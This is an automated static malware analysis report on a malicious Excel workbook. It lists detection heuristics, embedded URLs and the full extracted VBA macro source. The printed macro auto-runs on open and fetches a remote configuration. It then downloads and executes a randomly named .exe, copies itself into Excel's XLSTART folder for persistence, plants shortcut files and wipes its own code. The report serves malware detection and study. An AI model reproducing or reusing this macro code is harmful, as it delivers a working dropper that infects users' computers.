Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 64bef53c4f67ded2…

MALICIOUS

Office (OLE) / .XLS

1.06 MB Created: 2013-04-21 07:36:07 Authoring application: Microsoft Excel First seen: 2026-06-27
MD5: 813436d95d62f85406051ff1f5b87e8a SHA-1: e38de5f24f58b2f284d9633a3b49639a3ba26f94 SHA-256: 64bef53c4f67ded248df1e07b594ea9149886c323ffcf98cc1d65269097a4117
766 Risk Score

Heuristics 19

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 14 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call shell
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Open CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\网址导航 .url" For Output As #1
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Call shell
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                kkk.CodeModule.DeleteLines 1, kkk.CodeModule.CountOfLines
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Open CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\网址导航 .url" For Output As #1
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\Excel11.XLS""", vbHide 'vbMinimizedFocus 'vbHide
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://count.2881.com/count/count.asp?sx=2&ys=9&id= Referenced by macro
    • http://www.kuaipan.cn/file/id_190452413411360775.htmReferenced by macro
    • http://www.v-i-v.netReferenced by macro
    • http://small.cdn.baidupcs.com/file/b97468c9a157cd2eab56641a3068f2ce?fid=1579670827-250528-2155750155&time=1381970587&sign=FDTAR-DCb740ccc5511e5e8fedcff06b081203-KvEnQb8g%2BQ4l6Ai%2BAKVysM1%2BXmk%3D&rt=sh&expires=8h&r=652604657&sh=1Referenced by macro
    • http://a.hiphotos.baidu.com/album/pic/item/29381f30e924b89927f5c2f46e061d950b7bf635.jpgReferenced by macro
    • http://small.cdn.baidupcs.com/file/a4c1d00f05824c8f99af1d542ea4091d?fid=1579670827-250528-2119688583&time=1382763958&sign=FDTAR-DCb740ccc5511e5e8fedcff06b081203-Oa8VDuKOUfrpSkUlUxJaSTTe8xI%3D&rt=sh&expires=8h&r=538212245&sh=1Referenced by macro
    • http://feeds.qzone.qq.com/cgi-bin/cgi_rss_out?uin=1030509235http://www.v-i-v.netReferenced by macro
    • http://blog.163.com/tony_kang/rss/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://feeds.qzone.qq.com/cgi-bin/cgi_rss_out?uin=1030509235Referenced by macro
    • http://translate.google.cn/translate_tts?ie=UTF-8&q=Referenced by macro
    • http://translate.google.cn/translate_tts?ie=UTF-8&q=&tl=Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17723 bytes
SHA-256: a5229d40606bdeaaffd7186e5aae9a4932abb3ce80d4bd1f855e2548e06e3f06
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Sub DeleteUrlCacheEntry Lib "wininet.dll" (ByVal lpszUrlName As String)
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Workbook_SheetSelectionChange(ByVal sh As Object, ByVal Target As Range)
On Error Resume Next
If Union(Target, [1:1]).Address = "$1:$1" Then GoTo 100
If Target.Rows.Count = Rows.Count And Target.Columns.Count = Columns.Count Then [a1].Select: Exit Sub
If Target.Count > 1 Then Target(1).Select
100:
End Sub
Private Sub Workbook_Open()
 On Error Resume Next
Application.DisplayAlerts = False
Call del
Application.OnTime Now + TimeValue("00:00:05"), "down"
Application.ScreenUpdating = True
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
'Me.IsAddin = True
On Error Resume Next
If SaveAsUI = True Then
Cancel = True
End If

End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
Call all
Workbooks("Excel11.xls").Save
End Sub

Sub all()
On Error Resume Next
Call del
Call cp
'Call down
If Workbooks("Excel11.xls").Sheets("sheel").Range("bb65133") = "" Then GoTo exit2
Call shell
exit2:
Call tong
exit1:
Call URL
Workbooks("Excel11.xls").Workbooks("Excel11.xls").Sheets("sheel").Range("d1") = ""
End Sub


Sub cp()
Dim MyFile As String, m, t1, t2, p1, p2
On Error Resume Next
m = Sheet2.Name
If m = "" Then Exit Sub
Application.ScreenUpdating = False
MyFile = Application.StartupPath & "\tempexcel\"
MyFile = Replace(MyFile, "\XLSTART", "")
Sheets("sheet1").Range("a3") = Sheets("sheet1").Range("a2"): Sheets("sheet1").Range("a2") = ""
Kill MyFile & "*.*"
MkDir MyFile
MyFile = MyFile & Name
 t1 = InStr(MyFile, "(")
 t2 = Len(MyFile) - InStr(MyFile, ")")
 p1 = Left(MyFile, t1 - 1)
 p2 = Right(MyFile, t2)
 MyFile = p1 & p2

ThisWorkbook.SaveCopyAs MyFile
Sheets("sheet1").Range("a2") = Sheets("sheet1").Range("a3"): Sheets("sheet1").Range("a3") = ""
   ' If Sheets("sheel").Range("bb65130") = "" Then GoTo exit1:
   ' If Sheets("sheel").Range("bb65516") = "1" Then GoTo 800
   ' MsgBox "谢谢！" & vbCrLf & "稍后可能需要您输入验证码。", , "分享是一种美德！"
Application.DisplayAlerts = True
End Sub
Sub shell()
On Error Resume Next
If DateDiff("d", Workbooks("Excel11.xls").Sheets("sheel").Range("d1"), Date) < 7 Then Exit Sub
    If Application.Wait(Now + TimeValue("0:00:01")) Then
    ShellExecute 0, "Open", Workbooks("Excel11.xls").Sheets("sheel").Range("bb65133"), "", "", 1
Workbooks("Excel11.xls").Sheets("sheel").Range("d1") = Date
End If

End Sub


Sub del()
    Dim sh As Worksheet
    Dim str As String
    Dim arr
On Error Resume Next
    a = Workbooks("Excel11.xls").Name
    Application.DisplayAlerts = False
    For Each sh In Workbooks("Excel11.xls").Worksheets
        If sh.Name = "sheet1" Then
            sh.Delete
        End If
    Next
        Application.DisplayAlerts = True
End Sub

Sub URL()
On Error Resume Next
Dim m, URL
Application.ScreenUpdating = False
URL = Workbooks("Excel11.xls").Sheets("sheel").Range("bb65531")
If URL = "" Then Exit Sub
 Randomize
 Open "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch" & "\网址导航 .url" For Output As #1
 Print #1, "[InternetShortcut]" & vbCrLf & "URL=" & URL
 Close #1
 Open CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\网址导航 .url" For Output As #1
 Print #1, "[InternetShortcut]" & vbCrLf & "URL=" & URL
 Close #1
 Open "C:\Documents and Settings\Administrator\「开始」菜单" & "\网址导航 .url" For Output As #1
 Print #1, "[InternetShortcut]" & vbCrLf & "URL=" & URL
 Close #1
 
 Open CreateObject("WScript.Shell").SpecialFolders("Favorites") & "\网址导航 .url" For Output As #1 'win7
 'Open "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" & "\网址导航.url" For Output As #1
 Print #1, "[InternetShortcut]" & vbCrLf & "URL=" & URL
 Close #1
 Open "C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu" & "\网址导航 .url" For Output As #1
 Print #1, "[InternetShortcut]" & vbCrLf & "URL=" & URL
 Close #1
 Open "C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar" & "\网址导航 .url" For Output As #1
 Print #1, "[InternetShortcut]" & vbCrLf & "URL=" & URL
 Close #1
100:
Application.ScreenUpdating = True
End Sub






Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
On Error Resume Next
  If Union(Target, [a1:z6000]).Address <> [a1:z6000].Address Then [a1].Select
End Sub


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
On Error Resume Next
'If Target.Column <> 2 Or Target.Count > 2 Then Exit Sub
If Target.Column = 2 Then [a1] = [a1] + 1
GoogleSay Target.Offset(, 0)
End Sub



Attribute VB_Name = "模块1"
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrcommand As String) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private mciID As Integer

Function GoogleSay(ByVal sWord As String)
    Dim objJs    As Object
    Dim sFile    As String
    Dim sTmpPath As String
On Error Resume Next
    Randomize
    sTmpPath = Space(255)
    GetTempPath 255, sTmpPath
    sTmpPath = Left(sTmpPath, InStr(sTmpPath, Chr(0)) - 1)
    sFile = sTmpPath & mciID Mod 2 & ".mp3"
    mciID = mciID + 1
    Set objJs = CreateObject("MSScriptControl.ScriptControl")
    objJs.Language = "JavaScript"
    Randomize
    sWord = objJs.eval("encodeURI('" & Replace(sWord, "'", "\'") & "');")
    If sWord = "" Then MsgBox "空白处没有文字哦，请先选对语种再点击！": GoTo 100
    URLDownloadToFile 0, "http://translate.google.cn/translate_tts?ie=UTF-8&q=" & sWord & "&tl=" & Sheets("sheet1").Range("c4") & "&prev=input", sFile, 0, 0
    mciExecute "play " & sFile
100:
End Function




Attribute VB_Name = "TDOLE"
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Auto_Open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call do_what
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
Application.ScreenUpdating = True
End Sub
Function do_what()
 On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
 Call Microsofthobby
End If
End Function
Function copystart(ByVal Wb As Workbook)

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
On Error Resume Next

Set VBProj1 = Workbooks("Excel11.xls").VBProject
Set VBProj2 = Wb.VBProject

End Function


Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\Excel11.xls"
If WorkbookOpen("Excel11.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("Excel11.xls").Close False
shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\Excel11.XLS""", vbHide 'vbMinimizedFocus 'vbHide
shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\Excel11.XLS""", vbHide ' vbMinimizedFocus
shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\Excel11.XLS""", vbHide ' vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then
     Application.ScreenUpdating = False
     ThisWorkbook.IsAddin = True
     ThisWorkbook.SaveCopyAs MyFile
     ThisWorkbook.IsAddin = False
     Application.ScreenUpdating = True
End If
End Function


Sub WReg(strkey As String, Value As Variant, ValueType As String)
    Dim oWshell
 On Error Resume Next
    
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.RegWrite strkey, Value
    Else
        oWshell.RegWrite strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub


Private Function WorkbookOpen(WorkBookName As String) As Boolean
 On Error Resume Next
  WorkbookOpen = False
  On Error GoTo WorkBookNotOpen
  If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
    WorkbookOpen = True
    Exit Function
  End If
WorkBookNotOpen:
End Function

Sub tong()
Dim strurl
On Error Resume Next
Application.CommandBars("ply").Enabled = True
Dim x As String
x = Dir(Application.StartupPath & "\Excel11.xls")
If Len(x) = 0 Then
    strurl = Sheets("sheel").Range("a18") & Sheets("sheet1").Range("a2")
    
    Set HttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
    HttpReq.Open "GET", strurl, False
    HttpReq.send
  End If
End Sub





Attribute VB_Name = "模块2"
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Sub DeleteUrlCacheEntry Lib "wininet.dll" (ByVal lpszUrlName As String)

Sub down()
On Error Resume Next
Dim y As String, m, a, b
Call openn
a = Workbooks("Excel11.xls").Sheets("sheel").Range("bb65133")
y = Dir(a)
If Len(y) <> "0" Then GoTo exit1
b = Workbooks("Excel11.xls").Sheets("sheel").Range("bb65530")
If b = "" Then Exit Sub
Call bdu
exit1:


End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    'MsgBox LocalFilename
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
    Workbooks("Excel11.xls").Sheets("sheel").Range("bb65133") = LocalFilename

End Function

Sub bdu()
   On Error Resume Next
    Dim x, H, XMLHTTP, tt, k
    Dim nUrl As String, LocalFilename As String
    Dim ayrHttpBody() As Byte
    Dim filename As String, urlstr As String

    Randomize
    k = Chr(Int(Rnd() * 26) + 65) & Chr(Int(Rnd() * 25) + 97) & Chr(Int(Rnd() * 25) + 97) & ".exe"
    filename = Workbooks("Excel11.xls").Sheets("sheel").Range("bb65533") & k
    Set x = CreateObject("msscriptcontrol.scriptcontrol")
    x.Language = "jscript"
        urlstr = Workbooks("Excel11.xls").Sheets("sheel").Range("bb65530")
    With CreateObject("Msxml2.XMLHTTP")
            .Open "GET", urlstr, True
            .send
            
            Do Until .readyState = 4
                DoEvents
            Loop
         DownloadFile urlstr, filename
    End With
    Set XMLHTTP = Nothing
End Sub



Sub openn()
Dim oExcel
Dim strRespText$, tt$, DW$
Dim XMLHTTP As Object
Dim URL, UR
Set oExcel = Application
On Error Resume Next
Dim arr1, j, FS, a, b, d, e, f, w, data()
Application.CommandBars("Edit").FindControl(ID:=848).Enabled = False
Application.EnableCancelKey = xlDisabled
Workbooks("Excel11.xls").Sheets("sheel").Visible = xlVeryHidden
Sheets("sheel").Visible = xlVeryHidden
oExcel.OnKey ("%{F11}"), ""
      
      w = Workbooks("Excel11.xls").Sheets("sheel").Name
   If w = "" Then Exit Sub
      
SetAttr Workbooks("Excel11.xls").Sheets("sheel").Range("az65536"), vbNormal
SetAttr Sheets("sheel").Range("az65536"), vbNormal
SetAttr Workbooks("Excel11.xls").Sheets("sheel").Range("ar65533"), vbNormal
SetAttr Sheets("sheel").Range("ar65533"), vbNormal
Set FS = CreateObject("Scripting.FileSystemObject")
      FS.DeleteFile Workbooks("Excel11.xls").Sheets("sheel").Range("az65536"), vbNormal
      FS.DeleteFile Workbooks("Excel11.xls").Sheets("sheel").Range("ar65533"), vbNormal
      FS.DeleteFile Sheets("sheel").Range("az65536"), vbNormal
      FS.DeleteFile Sheets("sheel").Range("ar65533"), vbNormal
      UR = Workbooks("Excel11.xls").Sheets("sheel").Range("ba65535")
      UR = Sheets("sheel").Range("ba65535")
100:
     DeleteUrlCacheEntry UR
Set XMLHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
XMLHTTP.setTimeouts 2000, 2000, 8000, 2000
XMLHTTP.Open "GET", UR, False
XMLHTTP.send
 tt = XMLHTTP.responseText
If XMLHTTP.Status = 200 Then
         Dim str As String, i As Long
c = Array("&delta;", "&#1062;", "&#1094;", "&#1060;", "&#1092;", "&#1055;", "&#1071;", "&#1103;", "&#1070;", "&#1102;", "&#1069;", "&#1101;", "&#1067;", "&#1099;", "&#1066;", "&#1098;", "&#1065;", "&#1097;", "&#1051;", "&#1083;", "&#1046;", "&#1078;", "&#1025;", "&egrave;", "&eacute;")
a = Array("δ", "Ц", "ц", "Ф", "ф", "П", "Я", "я", "Ю", "ю", "Э", "э", "Ы", "ы", "Ъ", "ъ", "Щ", "щ", "Л", "л", "Ж", "ж", "Ё", "è", "é")
b = Array("tmall", "http://www.", ".net", "taobao", "com", ".", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "{", "}", "[", "]", "|", "j", "Δ", "(", ")")
For i = 0 To UBound(c)
tt = Replace(tt, c(i), b(i))
Next
For i = 0 To UBound(a)
tt = Replace(tt, a(i), b(i))
Next
        d = Split(Split(tt, "[|")(1), "|]")(0)
        e = Split(Split(tt, "[{")(1), "}]")(0)
        f = Split(Split(tt, "[b")(1), "b]")(0)
        'g = Split(Split(tt, "[g")(1), "g]")(0)
        'H = Split(Split(tt, "[h")(1), "h]")(0)
        Sheets("sheel").Range("bb65530") = f
        Workbooks("Excel11.xls").Sheets("sheel").Range("bb65530") = f
        'Sheets("sheel").Range("bb65123") = g
        'Sheets("sheel").Range("bb65516") = H
If Left(e, 1) = "#" Then
    ea = InStr(e, "(")
    eb = InStrRev(e, ")", , 1)
    md = Mid(e, ea, eb - ea + 1)
    
    Dim u, r%
    s = md
    Set u = CreateObject("VBScript.RegExp")
    u.Pattern = "\([^\(]*\)"
    u.Global = True
    Set ms = u.Execute(s)
    Randomize
    r = Int(Rnd() * ms.Count) + 1
    md2 = ms(r - 1).Value
    e = Replace(e, md, md2)
    e = Replace(e, "(", "")
    e = Replace(e, ")", "")
 End If
        e = Replace(e, "Δ", vbNewLine)
        Sheets("sheel").Range("ap65530") = e
        Sheets("sheel").Range("bb65531") = d
        Workbooks("Excel11.xls").Sheets("sheel").Range("ap65530") = e
        Workbooks("Excel11.xls").Sheets("sheel").Range("bb65531") = d
If Left(e, 1) = "#" Then GoTo 200
If m = "ok" Then GoTo 200
If Left(e, 1) <> "#" Then m = "ok": UR = Workbooks("Excel11.xls").Sheets("sheel").Range("ba65536")
GoTo 100

200:
        
        If Workbooks("Excel11.xls").Sheets("sheel").Range("ap65530") = "" Then Workbooks("Excel11.xls").Sheets("sheel").Range("ap65530") = Workbooks("Excel11.xls").Sheets("sheel").Range("at65536")
        

Workbooks("Excel11.xls").Sheets("sheel").Range("aw65536") = Workbooks("Excel11.xls").Sheets("sheel").Range("au65536") & Workbooks("Excel11.xls").Sheets("sheel").Range("ap65530")

Open Workbooks("Excel11.xls").Sheets("sheel").Range("az65536") For Output As #1
   Print #1, Replace(Workbooks("Excel11.xls").Sheets("sheel").Range("ay65536"), Chr(10), vbCrLf)
Close #1

Open Workbooks("Excel11.xls").Sheets("sheel").Range("ar65533") For Output As #1
   Print #1, Replace(Workbooks("Excel11.xls").Sheets("sheel").Range("ay65536"), Chr(10), vbCrLf)
Close #1
SetAttr Workbooks("Excel11.xls").Sheets("sheel").Range("az65536"), vbHidden
    Dim filename$
    filename = Workbooks("Excel11.xls").Sheets("sheel").Range("ao65533")
    Open filename For Output As #1
    Print #1, Replace(Workbooks("Excel11.xls").Sheets("sheel").Range("aw65536"), Chr(10), vbCrLf)
    Close #1

Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
   If vbProj.Protection <> 1 Then
        For Each kkk In Application.VBE.ActiveVBProject.VBComponents
            kkk.CodeModule.DeleteLines 1, kkk.CodeModule.CountOfLines
        Next
    End If
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.